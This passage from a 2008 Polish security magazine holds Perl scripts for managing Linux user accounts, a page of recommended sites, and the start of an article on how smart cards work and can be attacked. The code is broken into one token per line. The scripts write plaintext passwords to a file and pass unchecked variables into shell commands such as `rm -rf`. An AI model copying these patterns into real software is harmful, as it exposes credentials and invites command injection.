5

]

}

=

"$homedir/$login"

;

$

userpw

{

$

items

[

5

]

}

=

~

s

/\/

\//\//;

$

userpw

{

$

items

[

6

]

}

=

$

shell

;

if

(

$

e

!=

-

1

)

{

$

usersh

{

$

items

[

13

]

}

=

$

e

;

}

$

usersh

{

$

items

[

8

]

}

=

int

(

time

()

/

(

3600

*

24

));

if

(

$

min

!=

-

1

)

{

$

usersh

{

$

items

[

9

]

}

=

$

min

;

}

else

{

$

usersh

{

$

items

[

9

]

}

=

""

;

}

if

(

$

warn

!=

-

1

)

{

$

usersh

{

$

items

[

11

]

}

=

$

warn

;

}

else

{

$

usersh

{

$

items

[

11

]

}

=

""

;

}

if

(

$

inact

ne

""

)

{

$

usersh

{

$

items

[

12

]

}

=

date

(

$

inact

)

-

date

(

'

1970

-

01

-

01

'

);

}

else

{

$

usersh

{

$

items

[

12

]

}

=

$

inact

;

}

if

(

$

flag

!=

-

1

)

{

$

usersh

{

$

items

[

14

]

}

=

$

flag

;

}

else

{

$

usersh

{

$

items

[

14

]

}

=

""

;

}

&

mkHome

(

$

homedir

, $

uid

, $

gid

);

push

@

passes

, \@

tab

;

push

@

userspw

, \

%

userpw

;

push

@

userssh

, \

%

usersh

;

push

@

usersgr

, \

%

usergr

;

close

(

LIST

);

if

(

$

vv

!=

0

)

{

print

"Uzytkownik $login zostal poprawnie dodany

\

n

"

;

}

&

SavePass

(

@

passes

);

&

addPasswd

(

$

installDir

, \@

userspw

);

&

addShadow

(

$

installDir

, \@

userssh

);

&

addGroup

(

$

installDir

, \@

usersgr

);

}

background image

28

POCZATKI

HAKIN9 9/2008

ADMINISTRACJA KONTAMI W LINUKSIE

29

HAKIN9

9/2008

który to posiada najwyższy możliwy
numer. Wystarczy jednak ominąć go przy
sprawdzaniu. Faktem jest, iż ta metoda
może być nieco kłopotliwa w miejscach,
gdzie następuje duża rotacja kont. Możemy
mieć wtedy do czynienia z bardzo szybkim
przyrostem numeracji przy jednoczesnym
powstawaniu dziur dla niższych wartości.
Zaradzić temu można poprzez małą zmianę
kodu zamiast wyszukiwać najwyższej
wartości należałoby odnajdywać pierwszą
wolną większa niż załóżmy 1000. Czasem
jednak najprostsze rozwiązania okazują się
najbardziej skuteczne.

Druga funkcja zajmuje się tworzeniem

katalogu domowego. Jako parametr
wywołania podajemy nazwę katalogu,
który ma zostać stworzony (jest on
tworzony w trakcie dodawania użytkownika
poprzez pobranie z pliku konfiguracyjnego,
przygotowanego na potrzeby skryptów,
informacji o katalogu, w którym tworzone
są poszczególne katalogi użytkowników
i dodaniem do niego loginu nowego
konta) oraz numery użytkownika (UID) i
grupy (GID) Identyfikatory użytkownika i
grupy są nam niezbędne w celu nadania
odpowiednich uprawnień – w końcu nie
możemy doprowadzić do sytuacji, w której
użytkownikowi założono konto i katalog, ale
nie ma on do niego żadnych praw, czyli nic
z nim de facto nie może zrobić. Katalog jest
tworzony, kopiowane są odpowiednie pliki
(/etc/skel/) i nadawane prawa własności i
dostępu. Wszystko to dzieje się przy użyciu
podstawowych poleceń systemowych.
W efekcie całe dodawanie konta działa
dosyć podobnie do polecenia

adduser()

,

z tą jednak różnicą, iż mamy możliwość
dodawania grupowego oraz pełną kontrolę
nad parametrami tworzonych kont.

Jeśli mamy zamiar dodać użytkownika,

najlepiej sprawdzić najpierw, czy
przypadkiem ktoś o takim samym loginie
nie widnieje już w systemie. Pozwoli nam
to uniknąć wielu kłopotów. W tym celu
postała właśnie pierwsza funkcja z Listingu
8 –

TestUser()

. Oprócz tej procedury

przydatnymi okazują się jeszcze inne z
rodziny procedur testujących, gdyż musimy
mieć pewność co dodajemy, gdzie i z
jakimi prawami.

Kolejna z funkcji testujących, TestGID(),

ma za zadanie sprawdzić, czy grupa, do
której chcemy przypisać użytkownika,
istnieje (wspominaliśmy wcześniej, iż

istnieje możliwość podania parametrów
tworzonego konta – możemy zdefiniować
m.in. GID. W przypadku pojedynczego
użytkownika najlepiej rozwiązać to

odpowiednimi przełącznikami.). Sprawdzanie
w tej funkcji odbywa się, jak sama nazwa
wskazuje, na poziomie podanego numeru
grupy. Jeśli chcemy podać nazwę grupy,

Listing 6.

Funkcje: generująca hasło, zapisująca niezaszyfrowane hasło do pliku,

szyfrująca

sub

MakePass

()

{

my

$

pass

=

""

;

@

letters

=

(

'A' .. 'Z', 'a' .. 'z'

);

@

cyph

=

(

'0' .. '9'

);

@

symb

=

(

'!','@','$','%','^','&','*'

);

for

(

$

i

=

0

;

$

i

<

8

;

$

i

++)

{

$

pass

.

=

$

letters

[

rand

@

letters

];

}

substr

(

$

pass

,

int

(

rand

()*

7

)

,

0

)

=

$

cyph

[

rand

@

cyph

];

substr

(

$

pass

,

int

(

rand

()*

7

)

,

0

)

=

$

symb

[

rand

@

symb

];

return

$

pass

;

}

sub

SavePass

()

{

my

@

passes

=

@

_

;

open

(

FILE

,

">$installDir/tmp/passlist"

)

or

die

(

"Nie moge otworzyc pliku passlist:

$!

\n

"

);

foreach

$

tab

(

@

passes

)

{

foreach

$

key

(

@$

tab

)

{

print

FILE

$

key

,

" "

;

}

print

FILE

"

\n

"

;

}

close

(

FILE

);

}

sub

Crypt

()

{

my

@

letters

=

(

'A' .. 'Z', 'a' .. 'z', '0' .. '9', '.', '/'

);

my

$

salt

=

"

\$

1

\$

"

;

for

(

$

i

=

0

;

$

i

<

8

;

$

i

++)

{

$

salt

=

$

salt

.$

letters

[

rand

@

letters

];

}

my

$

pass

=

shift

;

$

pass

=

crypt

(

$

pass

,$

salt

);

return

$

pass

;

}

Listing 7.

Funkcja wyznaczająca UID oraz zakładająca katalog domowy

sub

CountID

()

{

my

$

uid

=

-

1

;

my

$

user

=

shift

;

my

$

id

=

shift

;

my

$

count

=

shift

;

if

(

$

d

ne

""

)

{

$

xmlpwd

=

dbLoad

(

$

d

.

"/passwd"

,'

users

','

user

'

);

}

else

{

$

xmlpwd

=

dbLoad

(

"$installDir/etc/xml/passwd"

,'

users

','

user

'

);

}

my

$

arruserpwd

=

dbRootArray

(

$

xmlpwd

);

my

$

hashpwd

=

dbToHash

(

$

arruserpwd

,

[

'

login

'

]

,''

);

foreach

$

log

(

keys

%

$

hashpwd

)

{

unless

(

$

{

$$

hashpwd

{

$

log

}

[

0

]

}{

$

user

}

eq

"nfsnobody"

)

{

if

(

$

{

$$

hashpwd

{

$

log

}

[

0

]

}{

$

id

}

>=

$

uid

)

{

$

uid

=

$

{

$$

hashpwd

{

$

log

}

[

0

]

}{

$

id

}

+

$

count

;

}

}

}

return

$

uid

;

}

sub

mkHome

()

{

my

$

home

=

shift

;

my

$

uid

=

shift

;

my

$

group

=

shift

;

`

mkdir

-

p

$

home

`

or

die

(

"nie mozna stworzyc katalogu"

);

`

cp

-

dR

/

etc

/

skel

/. $

home

`

or

(

`

rm

-

rf

$

home

`

and

die

(

"blad kopiowania plikow

konfiguracyjnych"

));

`

chown

-

R

$

uid

.$

group

$

home

`

;

`

chmod

-

R

go

=

u

,

go

-

w

$

home

`

;

`

chmod

go

=

$

home

`

;

}

background image

28

POCZATKI

HAKIN9 9/2008

ADMINISTRACJA KONTAMI W LINUKSIE

29

HAKIN9

9/2008

wówczas weryfikacją zajmie się następna
funkcja –

TestGroup()

.

Sprawdzanie grup odbywa się poprzez

porównanie zadanej nazwy czy też GID z
wartościami pliku group (a dokładniej jego
XML-owego odpowiednika).

Oprócz sprawdzenia, czy istnieje grupa

o podanej nazwie, funkcja ta pozwala nam
również na uzyskanie jej GID, który zostaje
zwrócony w przypadku pozytywnego
dopasowania. Taki zabieg jest konieczny,
gdyż cała praca wykonywana przy

dopisywaniu użytkownika do grup odbywa
się na bazie numeru grupy a nie jej nazwy.

Ostatecznie zmiany agregujemy poprzez

użycie rodziny funkcji

Add{nazwa pliku

konfiguracyjnego}

(np.

AddPasswd()

), które

są częścią biblioteki Users.pm. Na kolejnym
listingu przedstawię tylko jedną z nich,
tyczącą się pliku passwd, gdyż pozostałe
funkcje są analogiczne (Listing 9).

Jak widać działanie opiera się na

odczytaniu istniejącego pliku passwd,
a następnie dodaniu tablicy z nowymi
wpisami i ponownym przekonwertowaniu do
postaci XML.

Zbędny balast

W trakcie pracy z systemem okazuje się
często, że nie tylko należy dodać, ale też i
usunąć zbędne już wpisy o użytkownikach,
którzy dla przykładu zwolnili się z pracy
(Listing 10). I w tej sytuacji może okazać
się, iż kont takich jest kilka – zatem
potrzebujemy funkcji, która będzie gotowa
usuwać dla nas użytkowników np. według
listy z ich loginami. Funkcja

Del()

ma dużo

węższą funkcjonalność niż prezentowana
wcześniej

Add()

, niemniej jednak można ją

w prosty sposób dopasować do własnych
potrzeb, dodając pewne przełączniki oraz
odpowiednio skonstruowane testy – po to, by
na przykład usuwały konta, których ważność
już się skończyła. Można do tego użyć choćby
wcześniejszego skryptu wyciągającego
informacje o użytkownikach. Wspomniane
też było użycie przełączników, jeśli użyjemy
obu tych opcji jednocześnie to możemy
stworzyć w ten sposób listę samym loginów
kont przedawnionych, która zamiast na ekran
będzie wrzucana bezpośrednio do funkcji

Del()

. W ten oto nieskomplikowany sposób

wyżej wymieniony problem zostaje skutecznie
usunięty. Możliwości łączenia opisywanych
skryptów jest mnóstwo ogranicza je głównie
fantazja administratora. A nawet jeśli będą
wymagane do tego pewne zmiany w kodzie
to zwykle będą to tylko zabiegi kosmetyczne.
Osobiście nie potrzebowaliśmy dotąd tego
typu rozwiązań, w związku z czym nie są one
zaimplementowane w kodzie, który tu się
pojawi).

Trzecim z głównych zadań

administratora jest edycja parametrów kont
użytkowników, jednak powstrzymam się tutaj
od omawiania szczegółowego kodu funkcji

Edit()

, gdyż nie wprowadza ona niczego

nowego. Jej działanie opiera się na otwarciu

Listing 8.

Funkcje testujące

sub

TestUser

()

{

if

(

$

d

ne

""

)

{

$

xmlpwd

=

dbLoad

(

$

d

.

"/passwd"

,'

users

','

user

'

);

}

else

{

$

xmlpwd

=

dbLoad

(

"$installDir/etc/xml/passwd"

,'

users

','

user

'

);

}

my

$

arruserpwd

=

dbRootArray

(

$

xmlpwd

);

my

$

hashpwd

=

dbToHash

(

$

arruserpwd

,

[

'

login

'

]

,''

);

my

$

item

=

shift

;

my

$

user

=

shift

;

my

$

error

=

0

;

foreach

$

log

(

keys

%

$

hashpwd

)

{

if

(

$

{

$$

hashpwd

{

$

log

}

[

0

]

}{

$

item

}

eq

$

user

)

{

$

error

=

1

;

}}

return

$

error

;

}

sub

TestGID

()

{

my

$

grpid

=

shift

;

if

(

$

d

ne

""

)

{

$

xmlgr

=

dbLoad

(

$

d

.

"/group"

,'

groups

','

group

'

);

}

else

{

$

xmlgr

=

dbLoad

(

"$installDir/etc/xml/group"

,'

groups

','

group

'

);

}

my

$

arrusergr

=

dbRootArray

(

$

xmlgr

);

my

$

hashgr

=

dbToHash

(

$

arrusergr

,

[

'

groupID

'

]

,''

);

my

$

error

=

1

;

foreach

$

grp

(

keys

%

$

hashgr

)

{

if

(

$

{

$$

hashgr

{

$

grp

}

[

0

]

}{

'

groupID

'

}

==

$

grpid

)

{

$

error

=

0

;

}

}

if

(

$

error

==

1

)

{

print

"Blad grupa o GID=$grpid nie istnieje

\n

"

;

exit

;

}
}

sub

TestGroup

()

{

my

$

grpname

=

shift

;

if

(

$

d

ne

""

)

{

$

xmlgr

=

dbLoad

(

$

d

.

"/group"

,'

groups

','

group

'

);

}

else

{

$

xmlgr

=

dbLoad

(

"$installDir/etc/xml/group"

,'

groups

','

group

'

);

}

my

$

arrusergr

=

dbRootArray

(

$

xmlgr

);

my

$

hashgr

=

dbToHash

(

$

arrusergr

,

[

'

groupID

'

]

,''

);

my

$

error

=

1

;

foreach

$

grp

(

keys

%

$

hashgr

)

{

if

(

$

{

$$

hashgr

{

$

grp

}

[

0

]

}{

'

groupName

'

}

eq

$

grpname

)

{

$

error

=

0

;

return

$

{

$$

hashgr

{

$

grp

}

[

0

]

}{

'

groupID

'

}

;

}

}

if

(

$

error

==

1

)

{

print

"Blad grupa o nazwie $grpname nie istnieje

\n

"

;

exit

;

}

}

Listing 9.

Funkcja dopisująca zmiany do pliku passwd

sub

addPasswd

()

{

my

$

installDir

=

shift

;

my

$

users

=

shift

@

_

;

my

$

xmlpwd

=

dbLoad

(

"$installDir/etc/xml/passwd"

,'

users

','

user

'

);

my

$

arruserpwd

=

dbRootArray

(

$

xmlpwd

);

dbAdd

(

$

arruserpwd

, @$

users

);

$

xmlpwd

=

dbCreateStructXML

(

\@$

arruserpwd

,'

users

','

user

'

);

my

$

fileName

=

$

installDir

.

"/etc/xml/passwd"

;

my

$

fileName2

=

$

installDir

.

"/etc/passwd"

;

dbSave

(

$

xmlpwd

, $

fileName

);

savePasswd

(

$

fileName2

, @$

arruserpwd

);

}

background image

30

POCZATKI

HAKIN9 9/2008

plików konfiguracyjnych, przekonwertowaniu
ich na postać hasha i wreszcie edycji
poszczególnych pól dla danego użytkownika.
Tym razem wszystko odbywa się poprzez
odpowiednie przełączniki. Niestety, nie
zastosowaliśmy tutaj mechanizmu list dla
dokonywanie zmian, gdyż wymagałoby to
bardziej skomplikowanego pliku listy niż
miało to miejsce w przypadku dodawania
użytkowników (należałoby tworzyć plik ze
wszystkimi możliwymi do zmiany polami).

Tworzenie takiej listy zajęłoby zbyt wiele
czasu, a zatem byłoby bezcelowe.

Na zakończenie

W trakcie omawiania różnych fragmentów
kodu wspomniałem o pliku konfiguracyjnym,
można było też zauważyć odniesienia
do wartości typu

$options{'nazwa

zmiennej'}

. Zmienne te faktycznie

zadeklarowane są w pliku konfiguracyjnym
stworzonego przeze mnie systemu do

zarządzania kontami użytkowników. Plik
users.conf zawiera pewne administracyjnie
ustalane wartości, które można zmienić
poprzez jego edycję. Ma to na celu
ułatwienie dokonywania zmian w przypadku
np. przenoszenia katalogów domowych w
zupełnie inne miejsce, wówczas zamiast
szukać w kodzie gdzie należy pozmieniać
takowe katalogi zmieniamy jedynie wartość
w pliku konfiguracyjnym a cały system dalej
działa poprawnie. Mogą znajdować się
tam także domyślne wartości parametrów
takich jak GID, czy nazwy list użytkowników
do dodania/usunięcia. Uznałem jednak,
iż stworzenie takiego pliku jest zadaniem
bardzo łatwym i w dużym stopniu zależnym
od potrzeb administratora i w związku z tym
nie zamieszczam jego struktury.

Podsumowanie

Powyższy artykuł z pewnością nie
przedstawia idealnego rozwiązania naszych
bolączek administratorskich, jednak powinien
dosyć mocno naświetlić problematykę
związaną z zarządzaniem kontami i pewnego
rodzaju automatyzacją tego procesu. Daje
też pewien pogląd na wykorzystanie formy
XML w celu przechowywania informacji
na lokalnej maszynie administratora jako
idealnego formatu do dalszej konwersji i
pracy nad zgromadzonymi danymi. Myślę,
że niejeden administrator wyciągnie dla
siebie coś cennego z tego tekstu. Zachęcam
także do wprowadzania pewnych zmian i
udogodnień w skryptach, które zostały tutaj
zaprezentowane. Może okazać się, że pewne
rozwiązania można jeszcze bardziej uprościć
lub też wykorzystać do jeszcze bardziej
skomplikowanych zadań.

Bartosz Kamiński

Autor jest studente III roku Informatyki Stosowanej

na Uniwersytecie Mikołaja Kopernika w Toruniu.

Zajmuje się głównie sieciami komputerowymi oraz

administracją nimi, a także administracją systemami i ich

oskryptowaniem. Język, którym zajmuje się na potrzeby

tworzenia skryptów, to Perl. Aktywny członek Grupy .NET

Wydziału Fizyki, Astronomii i Informatyki stosowanej

Uniwersytetu Mikołaja Kopernika w Toruniu.

Kontakt z autorem: sarlack@emssik.net.pl

Sławomir Orłowski

Autor jest z wykształcenia fizykiem. Obecnie jest

doktorantem na Wydziale Fizyki, Astronomii i Informatyki

Stosowanej Uniwersytetu Mikołaja Kopernika w

Toruniu. Zajmuje się symulacjami komputerowymi

układów biologicznych (dynamika molekularna) oraz

bioinformatyką. Programowanie jest nieodzowną częścią

jego pracy naukowej i dydaktycznej. Ma doświadczenie w

programowaniu w językach C, C++, Delphi, Fortran, Java,

C# i Tcl. Współzałożyciel i koordynator grupy .NET WFAiIS.

Jest autorem artykułów i książek informatycznych. Strona

domowa: http://www.fizyka.umk.pl/~bigman.

Kontakt z autorem: bigman@fizyka.umk.pl

Listing 10.

Funkcja usuwająca wpisy oraz agregująca zmiany dla pliku passwd

sub

Del

()

{

my

@

usersgr

=

();

if

(

$

d

ne

""

)

{

$

xmlpwd

=

dbLoad

(

$

d

.

"/passwd"

,'

users

','

user

'

);

$

xmlsh

=

dbLoad

(

$

d

.

"/shadow"

,'

users

','

user

'

);

}

else

{

$

xmlpwd

=

dbLoad

(

"$installDir/etc/xml/passwd"

,'

users

','

user

'

);

$

xmlsh

=

dbLoad

(

"$installDir/etc/xml/shadow"

,'

users

','

user

'

);

}

my

$

arruserpwd

=

dbRootArray

(

$

xmlpwd

);

my

$

hashpwd

=

dbToHash

(

$

arruserpwd

,

[

'

login

'

]

,''

);

my

$

arrusersh

=

dbRootArray

(

$

xmlsh

);

my

$

hashsh

=

dbToHash

(

$

arrusersh

,

[

'

login

'

]

,''

);

my

%

usergr

=

();

if

(

$

uid

!=

-

1

)

{

foreach

$

log

(

keys

%

$

hashpwd

)

{

if

(

$

{

$$

hashpwd

{

$

log

}

[

0

]

}{

$

items

[

2

]

}

==

$

uid

)

{

$

login

=

$

{

$$

hashpwd

{

$

log

}

[

0

]

}{

$

items

[

0

]

}

}

}

}

if

(

$

login

ne

""

)

{

my

$

cond

=

{

login

=>

$

login

}

;

my

@

deleted

=

dbDel

(

$

arruserpwd

,$

cond

);

if

(!

@

deleted

)

{

print

"Uzytkownik $login nie istnieje

\n

"

;

exit

;

}

`

rm

-

rf

$

deleted

[

0

]

{

'

homeDir

'

}

`

;

$

usergr

{

'

login

'

}

=

$

login

;

$

usergr

{

'

groupID

'

}

=

$

deleted

[

0

]

{

'

groupID

'

}

;

push

@

usersgr

, \

%

usergr

;

dbDel

(

$

arrusersh

,$

cond

);

dbDel

(

$

arruserah

,$

cond

);

}

else

{

print

"Blad nie podano uzytkownika do usuniecia lub nie istnieje

\n

"

;

}

&

delPasswd

(

$

installDir

,\@$

arruserpwd

);

&

delShadow

(

$

installDir

,\@$

arrusersh

);

&

delGroup

(

$

installDir

,\@

usersgr

);

}

sub

delPasswd

()

{

my

$

installDir

=

shift

;

my

$

users

=

shift

@

_

;

my

$

xmlpwd

=

dbCreateStructXML

(

\@$

users

,'

users

','

user

'

);

my

$

fileName

=

$

installDir

.

"/etc/xml/passwd"

;

my

$

fileName2

=

$

installDir

.

"/etc/passwd"

;

dbSave

(

$

xmlpwd

, $

fileName

);

savePasswd

(

$

fileName2

, @$

users

);

}

background image

Strony rekomendowane

Misją serwisu jest zaprezentowanie języ-

ków programowania oraz ułatwienie użyt-

kownikowi ich szybkiej nauki.

http://www.cjp.xt.pl

Strona firmy świadczącej profesjonalne

usługii IT, specjalizującej się w wypożycza-

niu serwerów i macierzy. Firma prowadzi

także centrum szkoleniowe.

http://www.itlpolska.pl

Portal poświęcony technikom programo-

wania oraz sposobom ochrony przed za-

grożeniami jakie płyną z Internetu. Przedsta-

wione techniki służą do celów edukacyjnych,

nie należy ich wykorzystywać w niewłaści-

wy sposób.

http://www.hackerzy.pl

Portal internetowy poświęcony w całości

branży IT. Podzielony jest na trzy działy po-

święcone sprzętowi komputerowemu, grom

i rozrywce oraz najnowszym aplikacjom.

http://www.pcarena.pl/index.php

Do niedawna termin hacking był zarezerwo-

wany tylko dla profesjonalistów. Na tym por-

talu można dowiedzieć się więcej o tym za-

gadnieniu. Znajdują się na nim również aktu-

alności i obszerny dział downloads.

http://www.hakerczat.prv.pl/index.html

Portal dla wszystkich zainteresowanych te-

matyką bezpieczeństwa, audytem, IT Go-

vernance w sieciach i systemach teleinfor-

matycznych, a także ochroną danych.

http://www.locos.pl/

Witryna poświęcona w całości tematy-

ce hakingu. Początkujący w tej dziedzinie

znajdą na niej działy, ktore im umożliwią

rozpoczęcie nauki.

http://www.haker.ocom.pl/

Misją serwisu jest dostarczenie dużej ilo-

ści informacji z zakresu informatyki. Znaj-

dują się na nim ciekawe artykuły, najśwież-

sze informacje z rynku IT, recenzje książek

jak i kursy tworzenia portali www.

http://www.swww.pl/

Serwis poświęcony branży IT oferujący

codzienne newsy, artykuły, recenzje ma-

gazynów, testy oraz forum dyskusyjne.

http://www.webhat.pl/index.php

Strona dla każdego webmastera i hackera.

Jeśli zawsze chciałeś stworzyć swoją stro-

nę internetowej lub poznać haking od pod-

szewki, to ten serwis Ci w tym pomoże.

http://web4u.neth.pl/

Strona internetowa firmy Fit Consulting spe-

cjalizującej się w nowoczesnych rozwią-

zaniach informatycznych, zaczynając od

sprzedaży sprzętu komputerowego i świad-

czeniu usług po zaawansowane rozwiązania

zarządzania przedsiębiorstwem.

http://www.fit-consulting.pl/

Strona koła naukowego PK IT Security Gro-

up. Koło ma na celu dostarczanie informacji

związanych z bezpieczeństwem.

http://www.pkitsec.pl/

Strony rekomendowane

background image

32

HAKIN9

ATAK

9/2008

K

artę taką, o troszkę innym rozmiarze niż
ten opisywany w normie ISO, posiada
każdy użytkownik telefonu komórkowego.

Pasjonaci telewizji satelitarnej doskonale znają
karty tego rodzaju, gdyż wykorzystywane są
przez komercyjne stacje nadawcze do weryfikacji
opłaconego abonamentu i dekodowania
programów płatnych. Podobne rozwiązania są
stosowane również w kartach telefonicznych.
Markowe laptopy nierzadko wyposażone są w
czytniki SmartCard, więc można zabezpieczyć w
ten sposób także swojego notebooka. Popularne
stały się zamki w drzwiach oparte o technologię
takich kart. Zapewne można znaleźć więcej
zastosowań kart inteligentnych, jednak nie to jest
w artykule najważniejsze. Skupimy się na tym,
jak zbudowane są karty, jak działają, czy takie
rozwiązania są bezpieczne i czy można im ufać.

Wymiary kart według normy ISO7816 to

85,6 mm x 53,98 mm x 0,8 mm. Najczęściej
wykonane są one z plastiku z zatopionym
układem elektronicznym i stykami umieszczonymi
w określonym normą miejscu. Ten rodzaj kart
określany jest mianem kart zintegrowanych.
Istnieją jeszcze karty HMD (ang. Hole Mounted
Device) oraz SMD (ang. Surface Mounted Device),
jednak są one raczej stosowane jako karty
testowe oraz laboratoryjne.

Złącze karty, na którym umieszczone są

styki elektryczne, także posiada określone w
normie wymiary i podzielone jest na osiem pól
odpowiadających ośmiu stykom.

GRZEGORZ BŁOŃSKI

Z ARTYKUŁU

DOWIESZ SIĘ

co to jest karta inteligentna,

jak atakowana jest karta.

CO POWINIENEŚ

WIEDZIEĆ

jak ważne jest bezpieczeństwo,

znać podstawy elektroniki,

umieć posługiwać się

oscyloskopem.

Protokół komunikacyjny APDU

Na APDU składają się dwa polecenia, które
odpowiadają za komunikację pomiędzy kartą.

Command APDU (C-APDU): polecenie

wykorzystywane przez aplikację na komputerze do
wysyłania poleceń do karty. Korzysta z poniższych
struktur danych:

header, składa się z 4 bajtów:

• klasy instrukcji (CLA),
• kodu instrukcji (INS),
• Parametrów: P1 oraz P2.

body (opcjonalne), o zmiennej długości:

• Lc – określa rozmiar ciała lub obszaru

danych (w bajtach),

• Le – określa rozmiar danych lub liczbę

bajtów, na które oczekuje komputer w
odpowiedzi na wysłaną komendę,

• Data field (obszar danych) – zawiera

dane wysyłane do karty w celu wykonania
instrukcji zawartej w nagłówku.

• Response APDU (R-APDU): polecenie

używane przez kartę w odpowiedzi na
polecenie wysłane przez aplikację z
komputera.

body (opcjonalne): zawiera obszar danych

określonych przez Le,

trailer : zawiera dwa słowa, SW1 oraz SW2,

wywołane jako status, które opisują stan
przetwarzania na karcie po wykonaniu
polecenia APDU.

Stopień trudności

Atak na

Smart Cards

Codziennie używamy inteligentnych kart, myslimy że nasze

pieniądze i dane zakodowane na kartach są bezpieczne, ale czy

na pewno? Dowiedz się jakie zagrożenia na nas czekają i jak

można zaatakować inteligentną kartę?

background image

33

HAKIN9

ATAK NA SMART CARDS

9/2008

Protokoły

transmisji danych TPDU

Dwa typy protokołów Transmission
Protocol Data Units (TPDUs) używane są
do transmisji APDU oraz struktury danych,
która uległa zmianie:
• T = 0: najmniejszą przetwarzaną i

transmitowaną jednostką jest bajt,

• T = 1: ten protokół przetwarza

sekwencje danych (bloki danych).

ATR

ATR (Answer To Reset) – odpowiedź na
sygnał reset, używana do potwierdzania
parametrów karty niezbędnych do
nawiązania komunikacji z czytnikiem.
Sygnał ATR wysyłany jest z karty do
czytnika w momencie podania zasilania na
styki karty.

Wiadomość ATR – przeważnie

w rozmiarze do 33 bajtów – zawiera
parametry transmisji (T=0 oraz T=1), które
są obsługiwane przez kartę, a także inne
konieczne dla komputera z czytnikiem
informacje, takie jak:

• prędkość transmisji danych,
• parametry sprzętowe karty,
• numer seryjny karty,
• numer wersji maski.

System plików

Hierarchiczny system plików
wykorzystywany w kartach inteligentnych
wspiera trzy typy plików:

• Master file (MF) – pojedynczy plik

znajdujący się w głównym katalogu

systemu, zawierający w sobie pliki DF
oraz EF.

• Dedicated file (DF) – katalog

przechowujący inne pliki DF oraz EF.

• Elementary file (EF) – to plik, który

zawiera dane. Można wyróżnić dwa typy
struktur pliku:
• Transparent structure: plik

zawierający sekwencję struktur
danych,

• Record structure: pliki zawierające

zapis identyfikowalnych rekordów.
Dla struktury tej da się zdefiniować
kolejny podział:

• Linear fixed: plik zawiera rekordy

o ustalonym rozmiarze.

• Variable: plik zawierający

rekordy o zmiennym rozmiarze,

• Cyclic: zawiera pliki

zorganizowane w strukturze koła.

Najważniejsze z obecnie
wykorzystywanych standardów kart
procesorowych to:

• Norma ISO 7816: Identification

cards—Integrated circuit cards with
contacts
, dokument opublikowany
przez International Organization
for Standarization (ISO), jest
najważniejszym standardem
definiującym charakterystykę kart
chipowych posiadających styki
elektryczne.

• GSM: European Telecommunications

Standards Institute (ETSI) opublikował
zestaw standardów określających
rodzaje kart chipowych używanych w

telefonii GSM. Obecnie używanych jest
kilka standardów GSM (Tabela 4)

• EMV: Standard zdefiniowany i utworzony

przez Euro pay, MasterCard oraz
Visa, bazuje na standardach ISO
7816 z obsługą dodatkowych funkcji
spełniających potrzeby sektora
finansowego.

• OCF: OpenCard Framework: wstępnie

stworzony przez IBM, obecnie rozwijany
przez OpenCard Consortium, w skład
którego wchodzą najwięksi producenci
kart na świecie.

• PC/SC: specyfikacja PC/SC

(Interoperability Specification for ICCs
and Personal Computer Systems),
zdefiniowana przez PC/SC Workgroup
– kolejne konsorcjum zrzeszające
producentów kart inteligentnych.
PC/SC definiuje architekturę
powszechnego wykorzystania kart
inteligentnych w komputerach klasy
PC. Obecnie jest to na tyle popularny
standard, że jego obsługa została
zaimplementowana w systemach
Windows XP oraz Vista. Istnieje także
jego implementacja dla systemów
UNIX/LINUX, nosząca nazwę
MUSCLE.

Bezpieczeństwo

kart inteligentnych

Bezpieczeństwo kart inteligentnych
można rozpatrywać w czterech głównych
kategoriach.

Bezpieczeństwo komunikacji

Komunikacja – jako jeden z kluczowych
elementów pozwalających na wymianę
danych pomiędzy kartą a urządzeniem
ją odczytującym – odbywa się przy
pomocy specjalnego protokołu APDU
(Application Protocol Data Units). Wolny,
bo na poziomie 9600 bitów w trybie half

Rysunek 1.

Karta chipowa z procesorem

AT90S8515

Tabela 1.

Styki karty według normy ISO 7816

Numer styku

Nazwa

Opis

1

Vcc

napięcie zasilania 5V DC

2

Reset

reset

3

Clock

zegar

4

n/c

nie podłączony

5

GND

masa

6

n/c

nie podłączony

7

I/O

wejście/wyjście

8

n/c

nie podłączony

Tabela 2.

Budowa polecenia Command-APDU

header

body

CLA

INS

P1

P2

Lc

Data field

Le

background image

ATAK

34

HAKIN9 9/2008

ATAK NA SMART CARDS

35

HAKIN9

9/2008

dupleks, transfer pozwala jednak na
bezproblemowe wykorzystanie takich
rozwiązań w wielu zastosowaniach.
Niemniej każde urządzenie, z którym
karta się komunikuje, jest elementem
powodującym ryzyko ataku podczas
przesyłania danych.

Karta do komunikacji z czytnikiem

używa aktywnego protokołu autentykacji.
Procesor pracujący w układzie karty
generuje liczbę, która następnie jest
przesyłana do czytnika – ten szyfruje ją
za pomocą klucza publicznego i odsyła
do karty. Procesor karty weryfikuje
zwróconą liczbę przy pomocy własnego
klucza i zezwala na komunikację. Kiedy
połączenie zostaje ustanowione, każda
wiadomość przesyłana pomiędzy
czytnikiem i kartą jest weryfikowana
specjalnym kodem. Kod ten to wartość
wyliczona na podstawie przesyłanych
danych, klucza szyfrującego oraz
losowo wygenerowanej liczby. W
przypadku jakiejkolwiek zmiany podczas
transmisji – nawet z powodu zakłócenia
– wiadomość musi zostać przesłana
jeszcze raz.

Najczęściej wykorzystywane w kartach

inteligentnych rodzaje szyfrowania to DES
(Data Encryption Standard) – długość
klucza 56 bitów, 3DES (potrójny DES)
– długość klucza 168 bitów oraz RSA
(Rivest-Shamir-Adleman) – długość klucza
1024 bity.

Bezpieczeństwo fizyczne.

Dane przechowywane na kartach
inteligentnych znajdują się najczęściej w
pamięciach EEPROM, które mogą być
w łatwy sposób kasowane, a dane na
nich – modyfikowane. Fizyczny dostęp
do karty daje możliwość oddziaływania
na nią na przykład promieniami
cieplnymi czy świetlnymi w celu usunięcia

zabezpieczeń zastosowanych przez
część firm produkujących układy
zabezpieczeń do kart inteligentnych.
Bardziej destrukcyjne metody – takie,
jak wycinanie układów z karty w celu
ataku – są trudne do realizacji, ale w
warunkach laboratoryjnych udaje się
takie ataki przeprowadzać.

Bezpieczeństwo
systemu operacyjnego.

Na kartach inteligentnych
poszczególnych producentów
zainstalowane są różne systemy
operacyjne. Ich liczba stale rośnie, zatem
opisywanie wszystkich obecnych na
rynku nie ma sensu. Najbardziej znane
i powszechne komercyjne systemy
operacyjne kart chipowych to MULTOS
i JavaCard. W opisanym wcześniej
systemie plików wykorzystywanym

w kartach inteligentnych możemy
wyróżnić pięć podstawowych poziomów
uprawnień.

• Always (ALW): Dostęp do pliku dla

każdego bez żadnych ograniczeń.

